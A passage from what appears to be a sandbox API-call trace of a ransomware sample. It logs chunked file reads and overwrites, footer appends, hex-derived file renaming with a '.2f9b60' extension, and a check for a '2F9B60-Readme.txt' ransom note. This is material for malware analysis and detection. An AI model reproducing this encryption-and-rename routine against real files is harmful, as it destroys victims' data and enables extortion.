0x42ce43ab [0093.081] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.081] ReadFile (in: hFile=0xcfc, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x22a4fb60, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x22a4fb60*=0x3c00, lpOverlapped=0x0) returned 1 [0093.081] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0093.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f010 [0093.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b3e0 [0093.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b3e0) returned 1 [0093.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0093.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b3e0 [0093.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b320 [0093.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b320) returned 1 [0093.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f010) returned 1 [0093.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0093.082] WriteFile (in: hFile=0xcfc, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x22a4fb60, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x22a4fb60*=0x3c00, lpOverlapped=0x0) returned 1 [0093.087] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0093.087] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.087] ReadFile (in: hFile=0xcfc, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x22a4fb60, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x22a4fb60*=0x3c00, lpOverlapped=0x0) returned 1 [0093.087] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0093.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f010 [0093.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b320 [0093.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b320) returned 1 [0093.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0093.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b320 [0093.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b2f0 [0093.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b2f0) returned 1 [0093.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f010) returned 1 [0093.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0093.088] WriteFile (in: hFile=0xcfc, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x22a4fb60, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x22a4fb60*=0x3c00, lpOverlapped=0x0) returned 1 [0093.093] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0093.093] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x1099b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.093] ReadFile (in: hFile=0xcfc, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x22a4fb60, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x22a4fb60*=0x3c00, lpOverlapped=0x0) returned 1 [0093.093] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x1099b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0093.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f010 [0093.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b2f0 [0093.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b2f0) returned 1 [0093.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0093.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b2f0 [0093.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b290 [0093.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b290) returned 1 [0093.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f010) returned 1 [0093.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0093.094] WriteFile (in: hFile=0xcfc, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x22a4fb60, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x22a4fb60*=0x3c00, lpOverlapped=0x0) returned 1 [0093.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0093.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b86e6b0 [0093.095] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0093.095] WriteFile (in: hFile=0xcfc, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x22a4fc10, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x22a4fc10*=0x146, lpOverlapped=0x0) returned 1 [0093.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0093.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f010 [0093.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b290 [0093.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b290) returned 1 [0093.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0093.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b290 [0093.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b2c0 [0093.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b2c0) returned 1 [0093.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f010) returned 1 [0093.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0093.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9f3f0 [0093.097] sprintf (in: _Dest=0x1cd9f3f0, _Format="%c%c" | out: _Dest="e2") returned 2 [0093.097] sprintf (in: _Dest=0x1cd9f3f2, _Format="%c%c" | out: _Dest="a0") returned 2 [0093.097] sprintf (in: _Dest=0x1cd9f3f4, _Format="%c%c" | out: _Dest="df") returned 2 [0093.097] sprintf (in: _Dest=0x1cd9f3f6, _Format="%c%c" | out: _Dest="25") returned 2 [0093.097] sprintf (in: _Dest=0x1cd9f3f8, _Format="%c%c" | out: _Dest="4c") returned 2 [0093.097] sprintf (in: _Dest=0x1cd9f3fa, _Format="%c%c" | out: _Dest="a5") returned 2 [0093.098] sprintf (in: _Dest=0x1cd9f3fc, _Format="%c%c" | out: _Dest="31") returned 2 [0093.098] sprintf (in: _Dest=0x1cd9f3fe, _Format="%c%c" | out: _Dest="36") returned 2 [0093.098] sprintf (in: _Dest=0x1cd9f400, _Format="%c%c" | out: _Dest="ee") returned 2 [0093.098] sprintf (in: _Dest=0x1cd9f402, _Format="%c%c" | out: _Dest="ff") returned 2 [0093.098] sprintf (in: _Dest=0x1cd9f404, _Format="%c%c" | out: _Dest="e3") returned 2 [0093.098] sprintf (in: _Dest=0x1cd9f406, _Format="%c%c" | out: _Dest="56") returned 2 [0093.098] sprintf (in: _Dest=0x1cd9f408, _Format="%c%c" | out: _Dest="95") returned 2 [0093.098] sprintf (in: _Dest=0x1cd9f40a, _Format="%c%c" | out: _Dest="60") returned 2 [0093.098] sprintf (in: _Dest=0x1cd9f40c, _Format="%c%c" | out: _Dest="a0") returned 2 [0093.098] sprintf (in: _Dest=0x1cd9f40e, _Format="%c%c" | out: _Dest="e8") returned 2 [0093.098] sprintf (in: _Dest=0x1cd9f410, _Format="%c%c" | out: _Dest="13") returned 2 [0093.098] sprintf (in: _Dest=0x1cd9f412, _Format="%c%c" | out: _Dest="00") returned 2 [0093.098] sprintf (in: _Dest=0x1cd9f414, _Format="%c%c" | out: _Dest="96") returned 2 [0093.098] sprintf (in: _Dest=0x1cd9f416, _Format="%c%c" | out: _Dest="9c") returned 2 [0093.098] RtlInitAnsiString (in: DestinationString=0x22a4fc88, SourceString="e2a0df254ca53136eeffe3569560a0e81300969c" | out: DestinationString="e2a0df254ca53136eeffe3569560a0e81300969c") [0093.098] RtlAnsiStringToUnicodeString (in: DestinationString=0x22a4fc58, SourceString="e2a0df254ca53136eeffe3569560a0e81300969c", AllocateDestinationString=1 | out: DestinationString="e2a0df254ca53136eeffe3569560a0e81300969c") returned 0x0 [0093.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9cf70 [0093.098] wcscat (in: _Dest=0x1b85f010, _Source="e2a0df254c" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e2a0df254c") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e2a0df254c" [0093.098] wcscat (in: _Dest=0x1b85f010, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e2a0df254c.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e2a0df254c.2f9b60" [0093.098] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e2a0df254c.2f9b60", NtPathName=0x22a4fc30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e2a0df254c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x1b7ad5c0 [0093.100] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad5c0) returned 1 [0093.101] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0093.101] NtQueryInformationFile (in: FileHandle=0xcfc, IoStatusBlock=0x22a4fc98, FileInformation=0x22a4fca8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x22a4fc98, FileInformation=0x22a4fca8) returned 0x0 [0093.101] NtSetInformationFile (FileHandle=0xcfc, IoStatusBlock=0x22a4fc98, FileInformation=0x22a4fca8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0093.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f010) returned 1 [0093.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9cf70) returned 1 [0093.102] FlushFileBuffers (hFile=0xcfc) returned 1 [0093.106] CloseHandle (hObject=0xcfc) returned 1 [0093.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85f010 [0093.107] wcscpy (in: _Dest=0x1b85f010, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0093.107] wcscat (in: _Dest=0x1b85f010, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0093.107] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0093.108] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f010) returned 1 [0093.108] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e720) returned 1 Thread: id = 516 os_tid = 0xd68 [0093.115] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lJphu6b hhRpEnjJ0.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ljphu6b hhrpenjj0.ots")) returned 0x20 [0093.115] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lJphu6b hhRpEnjJ0.ots", dwFileAttributes=0x20) returned 1 [0093.115] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lJphu6b hhRpEnjJ0.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ljphu6b hhrpenjj0.ots"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xcfc [0093.115] GetFileSizeEx (in: hFile=0xcfc, lpFileSize=0x22e9f7c0 | out: lpFileSize=0x22e9f7c0*=24423) returned 1 [0093.115] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x5f63, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.115] ReadFile (in: hFile=0xcfc, lpBuffer=0x22e9f740, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x22e9f788, lpOverlapped=0x0 | out: lpBuffer=0x22e9f740*, lpNumberOfBytesRead=0x22e9f788*=0x4, lpOverlapped=0x0) returned 1 [0093.117] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.117] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b410 [0093.117] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b3b0 [0093.117] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b350 [0093.117] NtQuerySystemTime (in: CurrentTime=0x22e9f680 | out: CurrentTime=0x22e9f680*=132462176989582000) returned 0x0 [0093.117] RtlRandomEx (in: Seed=0x22e9f670 | out: Seed=0x22e9f670) returned 0x50b9238b [0093.117] RtlRandomEx (in: Seed=0x22e9f670 | out: Seed=0x22e9f670) returned 0x1290db06 [0093.117] RtlRandomEx (in: Seed=0x22e9f670 | out: Seed=0x22e9f670) returned 0x31a503cd [0093.117] RtlRandomEx (in: Seed=0x22e9f670 | out: Seed=0x22e9f670) returned 0x8a1901a [0093.117] RtlRandomEx (in: Seed=0x22e9f670 | out: Seed=0x22e9f670) returned 0x4d9a7704 [0093.117] RtlRandomEx (in: Seed=0x22e9f670 | out: Seed=0x22e9f670) returned 0x57f5b6e6 [0093.117] RtlRandomEx (in: Seed=0x22e9f670 | out: Seed=0x22e9f670) returned 0x4f40d7fc [0093.117] RtlRandomEx (in: Seed=0x22e9f670 | out: Seed=0x22e9f670) returned 0x532f1339 [0093.117] RtlRandomEx (in: Seed=0x22e9f670 | out: Seed=0x22e9f670) returned 0x180c0c75 [0093.117] RtlRandomEx (in: Seed=0x22e9f670 | out: Seed=0x22e9f670) returned 0x4d026282 [0093.117] RtlRandomEx (in: Seed=0x22e9f670 | out: Seed=0x22e9f670) returned 0x8bcd9e5 [0093.117] RtlRandomEx (in: Seed=0x22e9f670 | out: Seed=0x22e9f670) returned 0x43e3f12b [0093.117] RtlRandomEx (in: Seed=0x22e9f670 | out: Seed=0x22e9f670) returned 0x4336d87 [0093.117] RtlRandomEx (in: Seed=0x22e9f670 | out: Seed=0x22e9f670) returned 0x1d19202d [0093.117] RtlRandomEx (in: Seed=0x22e9f670 | out: Seed=0x22e9f670) returned 0x265bb53 [0093.118] RtlRandomEx (in: Seed=0x22e9f670 | out: Seed=0x22e9f670) returned 0x7600f1e [0093.118] RtlRandomEx (in: Seed=0x22e9f670 | out: Seed=0x22e9f670) returned 0x4a4a6721 [0093.118] RtlRandomEx (in: Seed=0x22e9f670 | out: Seed=0x22e9f670) returned 0xc23cb52 [0093.118] RtlRandomEx (in: Seed=0x22e9f670 | out: Seed=0x22e9f670) returned 0x5105a40a [0093.118] RtlRandomEx (in: Seed=0x22e9f670 | out: Seed=0x22e9f670) returned 0x2f891419 [0093.118] RtlRandomEx (in: Seed=0x22e9f670 | out: Seed=0x22e9f670) returned 0x339babf3 [0093.118] RtlRandomEx (in: Seed=0x22e9f670 | out: Seed=0x22e9f670) returned 0x1463b9ca [0093.118] RtlRandomEx (in: Seed=0x22e9f670 | out: Seed=0x22e9f670) returned 0x66f9759f [0093.118] RtlRandomEx (in: Seed=0x22e9f670 | out: Seed=0x22e9f670) returned 0x4ab68b8 [0093.118] RtlRandomEx (in: Seed=0x22e9f670 | out: Seed=0x22e9f670) returned 0x22b02d63 [0093.118] RtlRandomEx (in: Seed=0x22e9f670 | out: Seed=0x22e9f670) returned 0x3d24497d [0093.118] RtlRandomEx (in: Seed=0x22e9f670 | out: Seed=0x22e9f670) returned 0x760592e0 [0093.118] RtlRandomEx (in: Seed=0x22e9f670 | out: Seed=0x22e9f670) returned 0x6ffc9c9b [0093.118] RtlRandomEx (in: Seed=0x22e9f670 | out: Seed=0x22e9f670) returned 0x796071e4 [0093.118] RtlRandomEx (in: Seed=0x22e9f670 | out: Seed=0x22e9f670) returned 0x3bb63943 [0093.118] RtlRandomEx (in: Seed=0x22e9f670 | out: Seed=0x22e9f670) returned 0x341dc245 [0093.118] RtlRandomEx (in: Seed=0x22e9f670 | out: Seed=0x22e9f670) returned 0x1d558582 [0093.127] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.127] ReadFile (in: hFile=0xcfc, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x22e9f6e0, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x22e9f6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0093.127] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0093.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f010 [0093.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b410 [0093.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b410) returned 1 [0093.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0093.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b410 [0093.128] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b350 [0093.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b350) returned 1 [0093.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f010) returned 1 [0093.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0093.128] WriteFile (in: hFile=0xcfc, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x22e9f6e0, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x22e9f6e0*=0x3c00, lpOverlapped=0x0) returned 1 [0093.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0093.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ee130) returned 1 [0093.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1cd9f3f0 [0093.130] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0093.130] WriteFile (in: hFile=0xcfc, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x22e9f790, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x22e9f790*=0x11c, lpOverlapped=0x0) returned 1 [0093.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0093.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f010 [0093.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b2f0 [0093.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b2f0) returned 1 [0093.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9ebb0 [0093.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b2f0 [0093.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b320 [0093.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b320) returned 1 [0093.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f010) returned 1 [0093.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0093.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1cd9cf70 [0093.133] sprintf (in: _Dest=0x1cd9cf70, _Format="%c%c" | out: _Dest="11") returned 2 [0093.133] sprintf (in: _Dest=0x1cd9cf72, _Format="%c%c" | out: _Dest="8c") returned 2 [0093.133] sprintf (in: _Dest=0x1cd9cf74, _Format="%c%c" | out: _Dest="d1") returned 2 [0093.133] sprintf (in: _Dest=0x1cd9cf76, _Format="%c%c" | out: _Dest="99") returned 2 [0093.133] sprintf (in: _Dest=0x1cd9cf78, _Format="%c%c" | out: _Dest="dc") returned 2 [0093.133] sprintf (in: _Dest=0x1cd9cf7a, _Format="%c%c" | out: _Dest="a8") returned 2 [0093.133] sprintf (in: _Dest=0x1cd9cf7c, _Format="%c%c" | out: _Dest="a4") returned 2 [0093.133] sprintf (in: _Dest=0x1cd9cf7e, _Format="%c%c" | out: _Dest="f2") returned 2 [0093.133] sprintf (in: _Dest=0x1cd9cf80, _Format="%c%c" | out: _Dest="f0") returned 2 [0093.134] sprintf (in: _Dest=0x1cd9cf82, _Format="%c%c" | out: _Dest="b6") returned 2 [0093.134] sprintf (in: _Dest=0x1cd9cf84, _Format="%c%c" | out: _Dest="36") returned 2 [0093.134] sprintf (in: _Dest=0x1cd9cf86, _Format="%c%c" | out: _Dest="8d") returned 2 [0093.134] sprintf (in: _Dest=0x1cd9cf88, _Format="%c%c" | out: _Dest="d8") returned 2 [0093.134] sprintf (in: _Dest=0x1cd9cf8a, _Format="%c%c" | out: _Dest="66") returned 2 [0093.134] sprintf (in: _Dest=0x1cd9cf8c, _Format="%c%c" | out: _Dest="37") returned 2 [0093.134] sprintf (in: _Dest=0x1cd9cf8e, _Format="%c%c" | out: _Dest="5b") returned 2 [0093.134] sprintf (in: _Dest=0x1cd9cf90, _Format="%c%c" | out: _Dest="7f") returned 2 [0093.134] sprintf (in: _Dest=0x1cd9cf92, _Format="%c%c" | out: _Dest="c5") returned 2 [0093.134] sprintf (in: _Dest=0x1cd9cf94, _Format="%c%c" | out: _Dest="79") returned 2 [0093.134] sprintf (in: _Dest=0x1cd9cf96, _Format="%c%c" | out: _Dest="33") returned 2 [0093.134] sprintf (in: _Dest=0x1cd9cf98, _Format="%c%c" | out: _Dest="3d") returned 2 [0093.134] sprintf (in: _Dest=0x1cd9cf9a, _Format="%c%c" | out: _Dest="ad") returned 2 [0093.134] sprintf (in: _Dest=0x1cd9cf9c, _Format="%c%c" | out: _Dest="4b") returned 2 [0093.134] sprintf (in: _Dest=0x1cd9cf9e, _Format="%c%c" | out: _Dest="ba") returned 2 [0093.134] sprintf (in: _Dest=0x1cd9cfa0, _Format="%c%c" | out: _Dest="a6") returned 2 [0093.134] sprintf (in: _Dest=0x1cd9cfa2, _Format="%c%c" | out: _Dest="84") returned 2 [0093.134] sprintf (in: _Dest=0x1cd9cfa4, _Format="%c%c" | out: _Dest="84") returned 2 [0093.134] sprintf (in: _Dest=0x1cd9cfa6, _Format="%c%c" | out: _Dest="cc") returned 2 [0093.134] sprintf (in: _Dest=0x1cd9cfa8, _Format="%c%c" | out: _Dest="32") returned 2 [0093.134] sprintf (in: _Dest=0x1cd9cfaa, _Format="%c%c" | out: _Dest="17") returned 2 [0093.134] sprintf (in: _Dest=0x1cd9cfac, _Format="%c%c" | out: _Dest="79") returned 2 [0093.134] sprintf (in: _Dest=0x1cd9cfae, _Format="%c%c" | out: _Dest="77") returned 2 [0093.134] sprintf (in: _Dest=0x1cd9cfb0, _Format="%c%c" | out: _Dest="0c") returned 2 [0093.134] sprintf (in: _Dest=0x1cd9cfb2, _Format="%c%c" | out: _Dest="98") returned 2 [0093.134] sprintf (in: _Dest=0x1cd9cfb4, _Format="%c%c" | out: _Dest="ba") returned 2 [0093.134] sprintf (in: _Dest=0x1cd9cfb6, _Format="%c%c" | out: _Dest="0c") returned 2 [0093.135] sprintf (in: _Dest=0x1cd9cfb8, _Format="%c%c" | out: _Dest="98") returned 2 [0093.135] sprintf (in: _Dest=0x1cd9cfba, _Format="%c%c" | out: _Dest="84") returned 2 [0093.135] sprintf (in: _Dest=0x1cd9cfbc, _Format="%c%c" | out: _Dest="ef") returned 2 [0093.135] sprintf (in: _Dest=0x1cd9cfbe, _Format="%c%c" | out: _Dest="86") returned 2 [0093.135] sprintf (in: _Dest=0x1cd9cfc0, _Format="%c%c" | out: _Dest="a1") returned 2 [0093.135] sprintf (in: _Dest=0x1cd9cfc2, _Format="%c%c" | out: _Dest="c6") returned 2 [0093.135] RtlInitAnsiString (in: DestinationString=0x22e9f808, SourceString="118cd199dca8a4f2f0b6368dd866375b7fc579333dad4bbaa68484cc321779770c98ba0c9884ef86a1c6" | out: DestinationString="118cd199dca8a4f2f0b6368dd866375b7fc579333dad4bbaa68484cc321779770c98ba0c9884ef86a1c6") [0093.135] RtlAnsiStringToUnicodeString (in: DestinationString=0x22e9f7d8, SourceString="118cd199dca8a4f2f0b6368dd866375b7fc579333dad4bbaa68484cc321779770c98ba0c9884ef86a1c6", AllocateDestinationString=1 | out: DestinationString="118cd199dca8a4f2f0b6368dd866375b7fc579333dad4bbaa68484cc321779770c98ba0c9884ef86a1c6") returned 0x0 [0093.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x1079c0 [0093.135] wcscat (in: _Dest=0x1b7ad5c0, _Source="118cd199dca8a4f2f0b63" | out: _Dest="C:\\Users\\5p5NrGJn0jS 